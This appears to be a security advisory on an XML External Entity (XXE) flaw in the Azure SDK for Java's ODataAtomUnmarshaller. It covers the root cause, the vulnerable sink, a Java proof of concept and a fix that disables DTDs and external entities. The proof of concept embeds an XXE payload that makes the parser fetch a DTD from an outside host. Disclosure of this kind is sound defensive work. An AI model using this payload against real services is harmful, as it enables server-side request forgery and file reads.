Skip to content

Latest commit

 

History

History
129 lines (94 loc) · 6.35 KB

File metadata and controls

129 lines (94 loc) · 6.35 KB

XXE Vulnerability Analysis in Azure SDK For Java

Vulnerability Description

The com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller class is vulnerable to XML External Entity (XXE) injection. This is because when parsing XML input, the underlying JAXB Unmarshaller is not securely configured by default to disable external entity processing. An attacker can submit a specially crafted XML document containing references to external entities, which could lead to ar Arbitrary File Read, Server-Side Request Forgery (SSRF), or Denial of Service (DoS) attacks.

Vulnerability Information

Vulnerability Analysis

The root cause of the vulnerability lies in the constructor of the ODataAtomUnmarshaller class. In this constructor, an Unmarshaller instance is created via JAXBContext.newInstance and atomContext.createUnmarshaller().

// com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller.java
public ODataAtomUnmarshaller() {
    try {
        JAXBContext atomContext = JAXBContext.newInstance(EntryType.class, FeedType.class, ContentType.class,
                LinkType.class, PropertiesType.class);
        // Create Unmarshaller with default configuration, which does not disable external entity parsing
        this.atomUnmarshaller = atomContext.createUnmarshaller();
    } catch (JAXBException e) {
        // This should not happen
        throw new RuntimeException(e);
    }
}

By default, Java's JAXB implementation does not restrict the parsing of external entities, thus opening the door for XXE attacks.

The trigger point (Sink) for the vulnerability is the unmarshalEntry method, which takes an InputStream and processes it directly using the insecure unmarshaller created earlier.

Sink: com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller.java:153-156

public EntryType unmarshalEntry(InputStream stream) throws JAXBException {
   JAXBElement<EntryType> entryElement = this.atomUnmarshaller.unmarshal(new StreamSource(stream), EntryType.class);
   return (EntryType)entryElement.getValue();
}

When the unmarshaller processes an XML stream containing malicious external entity declarations, it attempts to resolve these entities. This can lead to the execution of attacker-specified actions, such as accessing local files or making requests to internal network services.

Proof of Concept (PoC)

This code constructs a malicious XML string that includes an entity declaration pointing to an external DTD. This string is then passed to the vulnerable unmarshalEntry method.

// src/main/java/com/example/Main.java
package com.example;

import com.microsoft.windowsazure.services.media.implementation.ODataAtomUnmarshaller;
import com.microsoft.windowsazure.services.media.implementation.atom.EntryType;
import java.io.ByteArrayInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) {
        try {
            // Create a malicious XML payload referencing an external DTD
            String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                    "<!DOCTYPE entry [\n" +
                    "  <!ENTITY % dtd SYSTEM \"http://58dea55625.ddns.1433.eu.org./test.dtd\">\n" +
                    "  %dtd;\n" +
                    "]>\n" +
                    "<entry xmlns=\"http://www.w3.org/2005/Atom\">\n" +
                    "  <id>test-id</id>\n" +
                    "  <title>Test Title</title>\n" +
                    "  <updated>2023-04-01T12:00:00Z</updated>\n" +
                    "</entry>";

            InputStream inputStream = new ByteArrayInputStream(maliciousXml.getBytes());

            ODataAtomUnmarshaller unmarshaller = new ODataAtomUnmarshaller();

            // Attempting to unmarshal the malicious XML will trigger the XXE
            unmarshaller.unmarshalEntry(inputStream);

            System.out.println("XML parsing completed successfully.");
        } catch (Exception e) {
            System.err.println("An unexpected error occurred: " + e.getMessage());
        }
    }
}

When unmarshaller.unmarshalEntry is called, the XML parser attempts to fetch the DTD from the specified URL (http://58dea55625.ddns.1433.eu.org./test.dtd). This confirms the possibility of SSRF, which is a direct consequence of the XXE vulnerability.

Remediation

To mitigate this vulnerability, the XML parser must be configured to disallow the parsing of external entities. This can be achieved by using XMLInputFactory and explicitly disabling support for external entities.

It is recommended to modify the unmarshalEntry method as follows:

import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.transform.stream.StreamSource;
import java.io.InputStream;

// ... in ODataAtomUnmarshaller class

public EntryType unmarshalEntry(InputStream stream) throws JAXBException {
    try {
        XMLInputFactory xif = XMLInputFactory.newFactory();
        // Disable external entities
        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        // Disable DTD support for stronger protection
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        XMLStreamReader xsr = xif.createXMLStreamReader(stream);

        JAXBElement<EntryType> entryElement = this.atomUnmarshaller.unmarshal(xsr, EntryType.class);
        return entryElement.getValue();
    } catch (Exception e) {
        // Wrap exception
        throw new JAXBException("Error unmarshalling entry due to: " + e.getMessage(), e);
    }
}

By wrapping the input stream with a securely configured XMLStreamReader, we can ensure that no external entities or DTDs are processed during unmarshalling, effectively preventing XXE attacks.